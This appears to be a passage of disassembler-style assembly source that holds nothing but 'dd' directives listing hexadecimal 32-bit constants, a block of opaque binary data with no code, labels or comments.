dd 88F59832h, 0C84EF1B3h, 922DBE97h, 0CD23CBB0h, 0E44C7F35h
dd 268830ABh, 448C24BCh, 514AB8F9h, 0EDD79992h, 3F255B38h
dd 0D3223578h, 0CEF17727h, 0A30EE515h, 0DC95E89Fh, 9B9BECFh
dd 79FBFA64h, 0C5BF056Ch, 0C4BC4B46h, 0E7BA4F35h, 0D29F1472h
dd 3A98185Dh, 2ECCA196h, 0FEEA5B7h, 9FF029F8h, 0FAC05630h
dd 2E532580h, 0A8A3FD1Ah, 0F966F29Eh, 63F98F0Eh, 0CC48B5A8h
dd 3B2BA277h, 7DFB9A80h, 0A6DE9AEEh, 9CC5B62Fh, 0F29D81A5h
dd 76137006h, 532980F4h, 0CEDD2C09h, 1ADFA97Eh, 9D4F57C0h
dd 0EC5BF604h, 0A0AF6E12h, 6937294Ah, 42CD5F9Ah, 0E988A092h
dd 7AF1C251h, 80DEBD35h, 0CEDE9026h, 6BB3AFF6h, 14A0FFC6h
dd 50D9FE2h, 0DC779CBCh, 5D948A8h, 48644F6h, 3E85B3C1h
dd 3C074AF2h, 0E4C6F9EAh, 3D980641h, 5F85C367h, 2FF5DB0Ah
dd 7AFE345Ch, 652EA898h, 0A7F51E3h, 2DF02685h, 552E8EA6h
dd 7328EEDBh, 9A82D291h, 7A05D78Bh, 0ECDED681h, 0C45DE0AAh
dd 65A8D8F6h, 0B1976E93h, 0F8233A11h, 26CDDF50h, 74000EDCh
dd 0E2B174F8h, 284789B7h, 0ED61A3BBh, 72E43F7h, 7D6CCB79h
dd 102E307Ch, 85DE0E9Bh, 44B1E216h, 9BBEE841h, 0E04A126Ch
dd 0FEDB9A61h, 0F937B1DDh, 1F404A61h, 0D302F009h, 0B0F6C45h
dd 0D9415405h, 0F973C830h, 0C35F05A6h, 1EFBFBEh, 0F0744ED3h
dd 72051329h, 63F835AFh, 21C2C74Fh, 887938DEh, 0C8581506h
dd 9028E4B9h, 3DBA4F7Bh, 48ED4FDEh, 6A8EC586h, 94B24F71h
dd 0C775F173h, 423D02C5h, 281B7A28h, 6BAE1C00h, 0B4A65691h
dd 2DDB7C07h, 78388E6Ah, 14AFA65Ch, 7E7448h, 9A1D13E0h
dd 9C120188h, 23965873h, 77F4B2D5h, 0CB7D8241h, 4E766FC8h
dd 7074A423h, 9CAB1C5Eh, 2CE2B1FBh, 0AEF4CEF8h, 2ED1DD45h
dd 254E20FBh, 6974B3h, 0EB386D8Bh, 0BAD5FC2Ch, 495AB758h
dd 0DDC34918h, 0BE72C10Ch, 462DF5B1h, 191685A2h, 0E23B0FFFh
dd 3D040E08h, 0D2A924Ah, 0F3905827h, 0EC127E7Ah, 3BE1D502h
dd 0AB9560AAh, 5B017C6Dh, 5FDA3200h, 51C22731h, 46F91CA4h
dd 0F03D673Dh, 0F3BF74AAh, 3778173Fh, 88F05B2Dh, 2682AAC8h
dd 8F9332BAh, 86CB8A91h, 4133D2A0h, 7E6FEF35h, 4F16D03Bh
dd 0C3FBD3B3h, 23D7B795h, 687C487Ch, 0EE57A9h, 0A37B95h
dd 60EDCFA1h, 9904EA1Ch, 9B2FF034h, 0CF01D000h, 30D81BAEh
dd 2E84EB7Ah, 0DD188327h, 33204E2Bh, 0F45AF331h, 0D6FC5E47h
dd 571EFE92h, 0F7D1681Ah, 637C87EEh, 0FDBFC6A8h, 0CD494F6Bh
dd 5D4655A9h, 7E25A461h, 0A28E6F9Eh, 0FD8AF419h, 7B8EE621h
dd 27BB8B93h, 7950B08Ch, 287D0C0Ah, 49CC6FCBh, 4B3822A9h
dd 0A28A8E3Fh, 5F73DAC1h, 83921FFCh, 84A834B4h, 2CB60921h
dd 0F4A3E08Bh, 4B1D90F0h, 2C011C9Eh, 1BABE5A2h, 609D5CD5h
dd 8B9E62E6h, 4660BB07h, 65716DBCh, 0F4303E30h, 4859D804h
dd 0C5EAF780h, 5E2FEC33h, 0D93FD205h, 10F2ABFCh, 9A947E10h
dd 8A0C7ECCh, 0AA12439Ah, 56F452D2h, 32146561h, 0BD8CEFF4h
dd 9DA3F0CDh, 36D1CE0Ch, 10DCA0FAh, 0C2E3F43h, 1EEBF4D1h
dd 43E0C168h, 0A9C4D20Eh, 0F5305287h, 0D8269179h, 0C3688C11h
dd 0AAD81325h, 3F72FEE1h, 0B34FC304h, 0F48AE280h, 6806BC44h
dd 6CEAF437h, 4515F179h, 0C01AB001h, 1DBCD184h, 0CCAFA5F4h
dd 0C403048h, 1CAF44EDh, 0C7003546h, 0FBD25C33h, 0CDBB423Ah
dd 6A915BBBh, 6AAD45F5h, 665A2BB4h, 0CBCAD540h, 2EAE7803h
dd 0C0144AFh, 128C6E82h, 0B6765878h, 0A51CE51Dh, 12C4600Bh
dd 1AEBBECDh, 76EFB2E4h, 54E8FA22h, 8D1391D9h, 2BF3400Ch
dd 12B52C06h, 7C2886F7h, 1FE65657h, 8E74B103h, 0E4D86908h
dd 7EC9859Ah, 0DDFA021Eh, 0D4FFFC3h, 5032A692h, 130D089Ch
dd 0ABA1D566h, 5EBA5084h, 33D7BE8Eh, 23F46D65h, 5742A997h
dd 49FA990Ch, 0A1A15DA5h, 0E59F2262h, 6513BB18h, 0EB395158h
dd 88F9ABA6h, 32D07C1Dh, 17E14E5Bh, 45F76610h, 1784D50Ah
dd 2723EFE8h, 3F2B5D59h, 0BD8AE1Dh, 0B9F6070Dh, 0A22EDCDDh
dd 64A3620Fh, 0B5E79711h, 0E56806A5h, 0B7DEE403h, 261C8C32h
dd 0C2B738B6h, 955194B6h, 0A098EF4Eh, 24738DFCh, 0D627FEE3h
dd 0BAA35216h, 57D4EE79h, 8542576Eh, 0F41BA186h, 97AA3C6Ah
dd 0E5BED23Ch, 0E860D095h, 52D33FF0h, 88CEA7E3h, 0B5AAE40h
dd 2E57053Eh, 1A0EF3FFh, 725AB53Eh, 8ACD8E2Dh, 295FE0D7h
dd 6074FC5Ch, 6792C099h, 6A3137ECh, 68255AC0h, 8A6B81DFh
dd 0F75B823Dh, 0BB779F66h, 0CF0131DCh, 70165E12h, 911B1988h
dd 963088A5h, 0B61D1904h, 9EAED5A0h, 8483B250h, 1482161Ah
dd 4FFD66A1h, 5158E203h, 6A815567h, 65120F53h, 0E971381Eh
dd 8B3689AAh, 8CB117F0h, 208B47F9h, 0CC5B1BE6h, 6F2FDCB6h
dd 0D29ECD4Bh, 0E939FB0Fh, 5B847E28h, 0F0944724h, 0D25317C0h
dd 53718D35h, 297ECEACh, 927572ECh, 8E8CE935h, 6856ECFFh
dd 0C2C7817Dh, 7EEBC406h, 98019E45h, 2F19F910h, 84E50E11h
dd 0CDEBEA80h, 23CD3D55h, 69AFC62h, 8718D52Dh, 0B695E833h
dd 0B75460B6h, 0CC177D67h, 8B431191h, 90EA4678h, 0AFE7C6CAh
dd 736EFFB3h, 0A0797BF0h, 910520BCh, 0B94FB8DFh, 0A90B2570h
dd 0D80AC0A0h, 4D5B5790h, 1616FC94h, 26F3BAC7h, 7E210CB6h
dd 8CC9E15h, 0E7E62A16h, 0A68F18A9h, 929E9A70h, 0AF0F6C54h
dd 13A40835h, 4948FDADh, 55D7C808h, 0B7807338h, 0D9BC0C24h
dd 0F4286DBCh, 3A975CC5h, 300D603Ah, 0EFE8EDC3h, 6D748598h
dd 9FB41A4Eh, 0B3F17D1Ch, 9DEF2F69h, 9D4C08CEh, 0A5393250h
dd 731EA5E4h, 4F79A950h
dd 0E8483606h, 6D62A83Bh, 0D85FC643h, 0F453FFF8h, 0FE8AB9F7h
dd 703329F7h, 66BF7D67h, 0B394982h, 0B980542Ah, 83E10775h
dd 0F1E6567h, 0D2BBE092h, 0C798CE2h, 0C1936F99h, 3282B39Ah
dd 6328EDACh, 41815E0Ah, 104BD772h, 0CEAFEB21h, 0B390DB2Dh
dd 3D68251Ch, 84B52E5Ch, 7D00026h, 0AC3229D5h, 8BBC467h
dd 4EC69B4Bh, 59338BCDh, 523E37Dh, 317AD638h, 2CC57010h
dd 416BAFEh, 0A9F1DB24h, 0D9C5609Ah, 365687C9h, 0DD9B07D1h
dd 23965DDFh, 927E85A6h, 9C73DF29h, 0E6C7DFF8h, 330FF664h
dd 18C7425h, 38F86A38h, 4435C6CEh, 3B661948h, 7FE72F59h
dd 1DF574AAh, 0AD6BB961h, 0DA187294h, 46915913h, 0BA2C60E7h
dd 160977BFh, 5CA8CDB5h, 0D3D40C7Eh, 798B3CAh, 2F9E2B5h
dd 0C98ACC1Eh, 3D8995E5h, 4C9E223Ch, 393509B4h, 15FBD666h
dd 0A769744h, 3CD0E5A0h, 0E084F3A8h, 434214Eh, 0E5C038FEh
dd 0E7F43A13h, 9463D107h, 17388E0Ch, 5B33F3C0h, 0AEFF1C72h
dd 4A4762C7h, 0B14E36C4h, 0C82FA1C1h, 39737C5Eh, 734CE8B8h
dd 0FE9882A9h, 2D5DD6h, 6E311E24h, 4463769Eh, 0D7B0E945h
dd 0F7F5B0EAh, 0A7A138DBh, 3E3698D9h, 0B0C05B70h, 23C4A971h
dd 30179397h, 46CD2A90h, 5950D6D5h, 9BF0BF5Dh, 0B03B4837h
dd 0C1FA28C7h, 40629B2Fh, 0B4B8E77Ch, 0F4491057h, 7102E0D6h
dd 2938B5D8h, 0DD5FA0A5h, 0C5FA732Fh, 54E0B031h, 6067780Eh
dd 0CF4E9A49h, 36D52FADh, 0F8F8D244h, 3DBF6FCEh, 0BEFFB59Bh
dd 0AEAEE046h, 0EAEF5B41h, 605B62C6h, 0F8A67AD7h, 2D2E3822h
dd 470818E7h, 4B46DF9h, 0DBE3DE8Fh, 3DE1D169h, 25208587h
dd 3D1D58B3h, 0A73850B4h, 0BFB1E516h, 705058C9h, 7651E0BDh
dd 0DCCC2B2Ah, 0E7236682h, 50BFD789h, 0D4C31EFFh, 854C5A2Fh
dd 3FAEA127h, 0C118EA95h, 4CA37245h, 0CE5A2F49h, 12026AFh
dd 0BF233797h, 1B291744h, 0C415AE66h, 1DA62FBAh, 8D217D04h
dd 15EDC5F1h, 78E87B9Bh, 604B010Bh, 0EE4FF601h, 9123A84Dh
dd 8CF8A1B7h, 0DE89F7C9h, 87F67F1h, 1E2F819Ah, 0C550F89Ah
dd 9B9485E4h, 2CC08E33h, 0AAC548B7h, 3C8F1B96h, 6355BB34h
dd 0EC561B68h, 1277FD47h, 1FC6EA94h, 8A399AA3h, 0EFFF5CD4h
dd 0E0BD12CBh, 0DB3015AAh, 0DAB2F393h, 4D975547h, 4001124Ch
dd 346AB33Fh, 0BB26F044h, 38193A54h, 0C724552Dh, 0CFCA6D2Ch
dd 0B1A488F5h, 585E7536h, 58AACD8h, 70ED3BE4h, 0EB174405h
dd 0BFB4AA6Ah, 94BEF2AEh, 94D99921h, 956CC26Ch, 0F075C33Dh
dd 24614470h, 329B3703h, 4251C30Ah, 9BD8CE6h, 0E5581E40h
dd 8185A9FDh, 0CFC2548Fh, 1C89BF1Ch, 0CCCBA75Eh, 8CAB061Eh
dd 0A3CFD88Ah, 0ACF71605h, 0D80EC917h, 231A40D7h, 0E9819B40h
dd 9388C286h, 2B9F563Dh, 0A4E5E8D7h, 6F88CC51h, 8C48521Bh
dd 219F2F7h, 55D5055Dh, 99BDB64Bh, 613372F9h, 6AED1553h
dd 0F3493CCh, 0FAB0DE0Bh, 0D91687C2h, 9A8040FBh, 0F5D06B48h
dd 0AE69BC96h, 928525E9h, 0A6DE33B2h, 1A5791D6h, 0D707480Eh
dd 2B804816h, 0AFBC88A9h, 93C8E3D7h, 508901A2h, 0E8F846FCh
dd 0C8527B6Dh, 0C685ABB9h, 9376EA22h, 0C6CAB208h, 740DF00Fh
dd 0FC62D798h, 0A05D2823h, 0D239A640h, 6AA6F338h, 0D4D63EA0h
dd 5EEF4BC0h, 48B776Dh, 65A2E302h, 83BF6E5Dh, 4A4A29FBh
dd 7D682A1Ch, 5078B1A6h, 4A87000Bh, 0B3EAFE69h, 1B797D3h
dd 31C505E3h, 0F1BB3ED8h, 7A9854FFh, 0A2494155h, 0C984853Dh
dd 421DB37Fh, 0CF860751h, 0E400F5E8h, 3D3CEDA3h, 8B3E01B5h
dd 4F2F7586h, 236546B5h, 0C0344C49h, 0D788FF21h, 0E4031063h
dd 97F59119h, 0FBF23F04h, 6EDD5401h, 0C9C22D0h, 5A331C44h
dd 3BAF5F70h, 0E45992Dh, 0B6B64A9Eh, 0EF4106DCh, 7ADCA78Bh
dd 8B713711h, 2E6CF7B8h, 9D59AB16h, 0F3DFE016h, 82341EB1h
dd 5792D5ADh, 9924D434h, 0AD676569h, 69D127C3h, 9AB46166h
dd 5CA9FDC8h, 0C2375F0Bh, 0AB34808Bh, 1B17B4FCh, 0A2C32142h
dd 4AFC3235h, 298DF813h, 651CE2B1h, 72230694h, 8B276135h
dd 122460B8h, 0AE4ADD7h, 60DBA9EDh, 92EFC9F2h, 0BB5052D6h
dd 84366FC8h, 0F3E6B7F9h, 52B14B47h, 73CAA67Eh, 0E47AA439h
dd 9D6DD16Fh, 0B06AF91h, 1CC1A9D2h, 9882EDB5h, 576BA4F8h
dd 29A64A31h, 0F79DD157h, 0B2EC757Bh, 70F92552h, 7591EF1Eh
dd 0A74074B5h, 676DA78Ch, 0EB63F5AAh, 0C468A48Fh, 0A5C274D6h
dd 5EB2A0A0h, 8A1D4AE6h, 0C9A98DBDh, 0B054938Fh, 47D2697Fh
dd 14B1B1Ch, 0C71CF51Ch, 911B5498h, 0C773AF58h, 63C0D011h
dd 0EC7EFB2Eh, 0E4089AFCh, 0EA7E05F2h, 43B4C630h, 0C6534D39h
dd 4AA52F48h, 7590E361h, 6573A6E1h, 0E1D7ADB8h, 7D9820A6h
dd 0A90A5750h, 0F1B7F171h, 317D4060h, 693395E8h, 326C167Dh
dd 83D5FF90h, 0F9DCC19Fh, 0F9FDA4FEh, 9693D5D2h, 0F990D1E8h
dd 7AB1091Fh, 9A770529h, 0A8E0A051h, 0BC0FC1CEh, 7D5913C3h
dd 3A4ADF5Bh, 4301A0E0h, 78506BD5h, 7A0B7B71h, 0A161B3D0h
dd 992E6D5Eh, 6B9C652Eh, 66A0EED9h, 56BF51C7h, 7C260942h
dd 0E6BE9712h, 1AB0F6B8h, 9A94097Ah, 402DA19Ah, 0B7321EC3h
dd 0ACB83E47h, 8FA83742h, 0EA573327h, 7BBBA904h, 0B3571B58h
dd 81A2ED63h, 8FBA955Ah, 0D383B444h, 47199CF8h, 0B0346445h
dd 0F14AEEA1h, 92A82AB9h, 0D05A0AD3h, 0FFE3BC35h, 724341CEh
dd 0A58A69CEh, 88C310E3h, 0AAEFADA3h, 82B28894h, 461243B5h
dd 53DBBE59h, 6D880D5Ch, 195283B6h, 83E30EBBh, 0D68C9759h
dd 9BFF6368h, 0B173869Dh, 1794A3Fh, 12422CE6h, 0A324E532h
dd 362E4654h, 0D462F5EFh, 0B24534B4h, 572E031Ah, 0D9B74EA6h
dd 119E8CDAh, 0C2E8FB01h, 0D451D25Dh, 0E12C61B9h, 0A28DEEDEh
dd 585FB224h, 4D73312Eh, 0FB3EAAC6h, 0A549FEB1h, 0A7012E96h
dd 0AFFD335Fh, 67D27169h, 3A250474h, 83D3707Ch, 6EA18311h
dd 1EED28FDh, 0DEE9232Bh, 0C870F9E8h, 6D080A15h, 8A209C4Ah
dd 34D63AAh, 3F7737ACh, 0B30B0BA7h, 0A7CE3167h, 0D8223425h
dd 1FF5E2B8h, 0A5825739h, 0AFCD8F6Fh, 24C01C91h, 0FF340BD0h
dd 938EE11Ch, 4739196Eh, 9752A47Dh, 0A4F68B03h, 9A9B0B26h
dd 37ED96FFh, 61E5DC27h, 36F2FF5Ch, 6857E492h, 44146AC2h
dd 2BD7CF33h, 4D318278h, 3ACFD5A5h, 0CEF426FAh, 0AA668E0Ah
dd 1FB00050h, 0FC5B7F67h, 0B65A06CFh, 135F4B4Ah, 605788F9h
dd 4B37D678h, 97E51432h, 722209E0h, 5D682E53h, 6B806CA6h
dd 0C20410B4h, 0C312FEF5h, 66A015FEh, 9D2EF029h, 1569F4EBh
dd 0D4045DC6h, 799AEA0Dh, 0E8AF8E70h, 0CB40D4A3h, 4086794Dh
dd 0BA1AA1EDh, 94EA58C9h, 915A068Ch, 5B537CFFh, 8EB21DC6h
dd 7EC0B930h, 46446382h, 773BD855h, 64CE0324h, 0D9AD787h
dd 7061328h, 27D348B2h, 901D7699h, 0AD423DC9h, 0D6A807B0h
dd 9ED31252h, 0A45B5158h, 0C86C3FD2h, 0E70FDC1Ah, 0C88A0906h
dd 0BA29E63Bh, 0F8A536A3h, 964D4333h, 4E5A9D7Bh, 3AF6A67Ch
dd 50C63E60h, 0E3D2C542h, 5ED996C4h, 851179BEh, 402D1FF5h
dd 0D79ABF4Ch, 1BD4A816h, 0A19562C2h, 30DE65AEh, 60A6860Ch
dd 724FB718h, 38CD0000h, 0D3437452h, 0E91CC8BBh, 690826DAh
dd 447289B3h, 5A821484h, 0EB06BF9Bh, 0FDF2AD24h, 685CE38Ch
dd 5F77BB5Ch, 0F5122C88h, 4EBC51A9h, 0DEA2DDD7h, 20E2504Ch
dd 0F721E73Ah, 232FF60Ah, 9D0A4C32h, 0DF17794Ah, 0AE721D6Fh
dd 0F6AAC5D3h, 0BA427522h
dd 6F0CFFB3h, 2B979417h, 0D46DAA79h, 356D56CDh, 0A5FABC8Bh
dd 0F75BCA3Ah, 30BFEA08h, 0D41EB6D8h, 0A611B821h, 5EFA9D09h
dd 0DEDEC14Fh, 4EA9211Fh, 6D247CFEh, 0EC2B0BA4h, 0B42B7C59h
dd 3E9B6A1Eh, 880A5106h, 0EAEB15DCh, 34BD99B9h, 81EAFCFDh
dd 0EC83C96h, 0A3583098h, 0E7AC7F87h, 663F7F90h, 0C4FDA1F3h
dd 0F2B54549h, 0A5F727FFh, 0D75CEDD9h, 44475222h, 43ACE6E5h
dd 8788E340h, 0FBAEF9E8h, 5B54AA4h, 254F648Fh, 0D88929D1h
dd 8D9D0ACEh, 3909F191h, 603F00C1h, 0C640E170h, 1C4C689Bh
dd 8BD77C9Dh, 3F65B9F8h, 4A32E819h, 694072Eh, 0D4B06383h
dd 51271F0Bh, 0B4914305h, 89DAE0B5h, 36E26A0Bh, 2A9AD8B8h
dd 518F0289h, 0AB3508B2h, 91E2EE7Ch, 0FBAE4799h, 0F30F79FCh
dd 0DDAD4758h, 4E1EC57Bh, 74C24899h, 11BAD76Ah, 0C15434B3h
dd 65AE2BCCh, 63B7D535h, 0A975EF76h, 38027BE6h, 0E237D8B6h
dd 349F6E2Eh, 6D16ECD2h, 8F63FABDh, 7E290581h, 0EE7D0AD9h
dd 0B565AA17h, 6792204h, 1C4FCF59h, 92DC7393h, 8F0ADF58h
dd 44B85E72h, 0E9CC375h, 19F585E8h, 0BAC799F5h, 1D5D0B27h
dd 0D24714CBh, 0E0B7BAB4h, 9D7CEC35h, 0E853BFF7h, 0A33471EFh
dd 2EE758Eh, 69D306B7h, 5A668808h, 27BA5871h, 8729EA0Dh
dd 0F39ED436h, 4BC57E25h, 33A7DCC6h, 0AC9F918Bh, 667E3B41h
dd 0F1ECAA2Eh, 26036178h, 0C37EAC4Ch, 0CDDFC9D3h, 0BF2B5306h
dd 0A809EC58h, 0B5F7B0AFh, 231CB72Bh, 0D478B81Bh, 8DA31E99h
dd 93CBB0D0h, 7A946B10h, 649A3DF7h, 70345A5Eh, 67E1E200h
dd 0B017490Ah, 0F624F072h, 20E991B6h, 76D92E5Ah, 0CABDCA21h
dd 0B6AE238h, 0E9066D7Bh, 2395CA64h, 0F827EAB6h, 8137F86Fh
dd 743F6FF3h, 1424B5BFh, 9A097C2Bh, 0A3F73DC0h, 5AE46C3Bh
dd 230C367Ah, 22D7601Fh, 0DF4F2DB2h, 4C1B8A62h, 0AC6850D5h
dd 0D3FDB5B0h, 7F96C42Ah, 0FF10D892h, 3DFA411Fh, 5EDBCF0Dh
dd 0B482E065h, 3962A6C0h, 54D7DA31h, 0FC077B97h, 0BF31C79Dh
dd 0A962ECDBh, 8A155174h, 53CCEA9Fh, 0AD1003D5h, 51FC5707h
dd 4E0D52Dh, 0A027BB25h, 0B94F2EBBh, 859C0257h, 889794CFh
dd 8D9804A2h, 0F09990E1h, 94C4A93Fh, 9C9204F9h, 0CE8B412Ch
dd 0A044228h, 0D14EDAFBh, 9E04E556h, 81BC1D22h, 9EDC069Bh
dd 0E7E4855Ch, 7C7A5B24h, 8689C772h, 114A7891h, 0CF67A19Bh
dd 0C2AEF43Bh, 851922Fh, 0DBE9337Ch, 5AC0756h, 0FB5EB603h
dd 9620EC1Ah, 0EA9AA394h, 0ED2984D3h, 83A432A0h, 6086AB4Fh
dd 3AC07EFFh, 0DA9A9F02h, 2AEA4E0h, 12C0C7CBh, 0D69D76FEh
dd 8CFB9E41h, 8D062601h, 606E193Ah, 0C63C39E6h, 30CA9994h
dd 0D6708C54h, 0CE10E394h, 0F4B5F491h, 0E81BCB50h, 0DA50F4A4h
dd 71D9DBD3h, 0BC4F71CDh, 6E0ACC84h, 295893ACh, 3981CE79h
dd 73FFE526h, 39E8BB75h, 3F51EDD8h, 11705C51h, 7149B4C2h
dd 0F3B30CB1h, 0A21047BBh, 48AFCA38h, 0EA8A72CAh, 0F81F6CFDh
dd 526F33E5h, 8DEE216Ah, 9DE7A0EAh, 0EA7DB6EBh, 81B116D2h
dd 50F03C7Eh, 6BAE7837h, 85B0061Dh, 6F8C36A1h, 15F70BD1h
dd 913C63D6h, 0FE631553h, 1BC23189h, 3525CE33h, 0C8F262A2h
dd 0C4B4E2FDh, 7D1FDAEh, 0CEC38933h, 6143F973h, 0FD81C64h
dd 0C1620E0h, 68896385h, 0A91D7C3Eh, 195A7DECh, 0CBEEB6Ah
dd 0C7719A57h, 0A61C93ABh, 2E37CE87h, 44DBFB16h, 9D739D74h
dd 0E5165EEDh, 53E579D8h, 0B58792AAh, 970095AAh, 47041B43h
dd 0D763F55h, 31657955h, 0E03A1B45h, 0CB74BE14h, 47D46068h
dd 6FA3F78Eh, 0CFC563E4h, 0B1FEC22Fh, 0F077FBDBh, 0A62FF6ECh
dd 5B524C27h, 3D360551h, 14604923h, 91DB266Dh, 5658F792h
dd 0C899C1B8h, 142A759Dh, 8C3FC890h, 0F75925DCh, 79D54435h
dd 0E82FBF8Ah, 0D00E94DFh, 0BD35FDFBh, 66CD11F1h, 0DD90F71Ch
dd 100F88B4h, 424F540h, 0A3E7D98Fh, 0F4C51C4h, 7E114C9Eh
dd 0A108EB3Bh, 0A449C60Ch, 0FC21CDFDh, 9CF998D1h, 0BA96A64Ah
dd 5B0B4F52h, 6C4E6324h, 333B9F82h, 95AE1AFDh, 0EFAAB1B6h
dd 74DBB414h, 687AC58Ah, 2264055Fh, 0E29D031Ah, 24B5824Ch
dd 0D8A03305h, 420B07Ah, 3F088B4h, 0A824C29h, 0F9D15950h
dd 1D353C5h, 0BD850079h, 58516F26h, 0D8F9F96Ah, 9201DDE0h
dd 82CBF30h, 820A3683h, 0E9307BA7h, 77F639BFh, 60FFA238h
dd 0DE024C69h, 33BC48B2h, 0D8F12D3Bh, 5F1926BDh, 0E48E0629h
dd 5873A711h, 4DBAE8C9h, 0EDDC4599h, 0EA96ADCDh, 0FD69BE4Ah
dd 4E188D25h, 0DAB7F24Dh, 0A0F2E6FBh, 0AEF2D0ECh, 355CE37Bh
dd 0FCD1D1DCh, 0F2F35F80h, 0C9F0A620h, 0AE69E4ECh, 9B4A81FBh
dd 50C1BC3Bh, 0E6572375h, 59F669Ah, 93E8B292h, 2FE68353h
dd 0B3B08BA4h, 36C59F6Ah, 72426E2Eh, 69E02C25h, 86F2C58Ah
dd 65ED42E0h, 8155C950h, 3FA7D99h, 9BA477CCh, 3308C4F9h
dd 5CA8BEEFh, 0C437DF55h, 0F7E2E9BBh, 0B546AF39h, 402E14ABh
dd 1D0EE133h, 9103ED4Eh, 36FA9634h, 8F31F6D0h, 0F809FD1h
dd 86CA6CFCh, 29EC9BDAh, 39DE4F33h, 71A24439h, 0B4830E75h
dd 74C8FA3Dh, 597226EAh, 0F41556FBh, 0C5ECED50h, 0D52723D4h
dd 0A7BF2E2Bh, 6011E308h, 0DB887CDFh, 8480BAh, 2ACBA694h
dd 0A2C2E073h, 9DEDB3D6h, 0DC2E40D5h, 605F6768h, 4DDEEB55h
dd 2D7125E5h, 10E3378h, 915F3C3Dh, 77CFE834h, 0AB08AAEh
dd 3D212F03h, 0D78692BAh, 1129B4B3h, 667CD101h, 9939646Eh
dd 0EF91FC0Eh, 0E23AD983h, 4885C8FBh, 337BA9BEh, 0E88CCAABh
dd 0AB71A2FFh, 0B49EA876h, 0D33E42ECh, 44CD84F5h, 0BDF8BD24h
dd 0F1683B21h, 0CE0E2C7Bh, 0DF1DE8E8h, 16234118h, 2BDFB166h
dd 0F96ACCD5h, 0EC66D2B2h, 6D256D49h, 6D9A3572h, 0D9E316B9h
dd 7F7727C5h, 9E9876B1h, 0EDE29A0Fh, 0B6DA439Ah, 6D00E965h
dd 27C30DE7h, 0E4468698h, 36785363h, 0A2D12DA7h, 757237A1h
dd 6CF36EABh, 0FB513F95h, 3D21F6C1h, 0A78F2C62h, 90C9673Ch
dd 0D026FB09h, 12B930FFh, 1C73BFDCh, 80B1D4DBh, 0C6DE099Ch
dd 0B79E22BEh, 0C2994186h, 5F9C2D62h, 0CF3C512h, 8D757BADh
dd 2AFA7CAAh, 46B0F80Fh, 99800E95h, 912166CBh, 4E4E794Ah
dd 0EC18E2D2h, 988BF900h, 6EFFFABEh, 30C91CA8h, 0AE98E3E5h
dd 7C2242CCh, 42C2BE70h, 4AC7A711h, 0E2D33C87h, 2FB84B69h
dd 6D3898D0h, 7C50BA7h, 0AE82C22Ch, 0F5E26C3Bh, 0E1B29955h
dd 8DFD9A25h, 7D20696Bh, 0D1D4EC52h, 68FE46DDh, 0B467E1F7h
dd 0CC50C941h, 0D9718876h, 0F10B48EFh, 62DD9D1Dh, 81BE0986h
dd 264E6D1Bh, 0DF278E0Fh, 6A30250Bh, 1EDA8067h, 1FD0C724h
dd 0E4AEB7AEh, 534B136h, 0EF08747Bh, 4DB58562h, 5849C75Fh
dd 0F4A5C790h, 0CBEBD6E9h, 984B00FFh, 0E5AC097Bh, 3F8A0531h
dd 27E622D1h, 0EF3C01CEh, 2ABFBF38h, 0D5AB183Eh, 0FBE29C8Fh
dd 68049804h, 66FDB51Bh, 0FFD003DDh, 0B8CE1BDEh, 0D91FFCC1h
dd 0EDFAFB75h, 82AD62E6h, 0A825D09Ah, 0BDB2F648h, 0F5D33BCh
dd 3EFB937Bh, 0EF3E853Dh, 0B715A7B8h, 75E4E0CBh, 0A0B59D97h
dd 0CB8827BEh, 9B28047h, 0B212AFC3h, 99411C3Dh, 0C76782Bh
dd 19FCA654h, 8652181Fh, 9789173Fh, 74CA78B2h, 76134DA7h
dd 2A7B7411h, 542EBE6Eh, 7FFC1DA5h, 7E13715Eh, 10C5A4B5h
dd 0D3FDAA84h, 7BF19489h, 0AED0E54Bh, 0A23E5228h, 99D8495Dh
dd 0F54FBB20h, 0DF18B6E2h, 0D68949Dh, 0B2E8F27Eh, 0DBEDE54Ch
dd 0A32D4212h, 23C12F35h
dd 0A190A6D8h, 0E24279F2h, 0FBE3BE30h, 899932B3h, 9AD3B3ECh
dd 52C490C6h, 1EEB23EBh, 0EDE80CE3h, 0BBE14BE8h, 639D4BD3h
dd 3FE69283h, 0D6F09885h, 9ED89F95h, 914443EBh, 0EB0CFA19h
dd 68CC1042h, 745266D5h, 0F9EB8222h, 9F986E7Eh, 21362A2Fh
dd 9F20B1D8h, 55776541h, 33E8A40h, 0CE4BDEDCh, 675E4315h
dd 0DBAB2443h, 0D5889492h, 70163591h, 0A3ABE2F5h, 5B7132D3h
dd 46867A73h, 0A0350877h, 245E7A3h, 0FE9E1C7Bh, 0FEADCD04h
dd 7446AC2Ah, 357624A4h, 0DE690702h, 0E49BBDCAh, 0CECFA503h
dd 0F5328677h, 5D8C991h, 739EEE02h, 2C0688E9h, 0B5BB4D0Ah
dd 3243429Ah, 93510A83h, 0A2836776h, 0AF7DFB0Eh, 87E69D44h
dd 6E8A482Ch, 226622D2h, 4151DBA0h, 9E8151A4h, 8CA7B837h
dd 40DEFF2Ch, 96474FACh, 4056A77Ch, 0DCDDDD90h, 218995DBh
dd 44275443h, 3676FB8Fh, 9C136D80h, 8216122Eh, 863850DDh
dd 70925899h, 43F15C60h, 0DC04BF7Eh, 0DA78663Eh, 287FED6Dh
dd 5BFE8D09h, 601DB91Dh, 0ADBF8462h, 7B25EDC2h, 335DA1ABh
dd 36712081h, 4263B6E8h, 3153C15Bh, 4CA29247h, 8D99E726h
dd 0B92CD898h, 33F5CD69h, 3D6C2C7Fh, 3AE875BBh, 5EF2DF44h
dd 4BDFE245h, 0F3D0A0Ah, 0EBD68D69h, 0C698DDC6h, 72F9DA5Eh
dd 60A01DD8h, 4B6CF56Bh, 0DA4CA38Dh, 0C62B9ED4h, 0D89B03E2h
dd 9B96FDE1h, 701533DCh, 7911605Fh, 2A4B09C3h, 0C0A8908Dh
dd 4FD1E9Ch, 70A5F07h, 259B1134h, 0FEE02407h, 611CF53Fh
dd 0E4AB11C9h, 2D68EB29h, 0AEF9630Ch, 0AFC1FB70h, 0E290D14Bh
dd 4A810D9Bh, 0E670009Eh, 3D933E93h, 0E8376A18h, 9F2F379Ah
dd 45A979C3h, 0A8B21077h, 28F46E3Ch, 0ADC0E836h, 91D3C543h
dd 62F8A49Eh, 9990BE8h, 54138969h, 9388EAD0h, 0AF7E7512h
dd 6AC1D5CEh, 0E73F9B39h, 4298617Eh, 0A2B8BEC2h, 89D7BFF2h
dd 406C72Fh, 10750AFFh, 21083E95h, 4A6BCE92h, 8C48ADD9h
